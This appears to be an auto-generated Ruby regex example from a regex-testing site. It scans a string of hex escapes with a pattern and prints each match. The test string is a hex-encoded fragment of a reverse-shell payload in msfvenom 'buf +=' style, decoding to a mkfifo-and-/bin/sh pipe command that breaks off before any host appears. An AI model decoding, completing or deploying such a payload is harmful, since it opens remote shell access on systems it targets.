re = /\\x([\w|\d]{2})/m
str = 'buf += b"\\x6d\\x6b\\x66\\x69\\x66\\x6f\\x20\\x2f\\x74\\x6d\\x70\\x2f\\x73"
buf += b"\\x35\\x35\\x20\\x30\\x3c\\x2f\\x74\\x6d\\x70\\x2f\\x73\\x61\\x6b"
buf += b"\\x6e\\x20\\x7c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x3e"
'
# Print the match result
str.scan(re) do |match|
puts match.to_s
end
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Ruby, please visit: http://ruby-doc.org/core-2.2.0/Regexp.html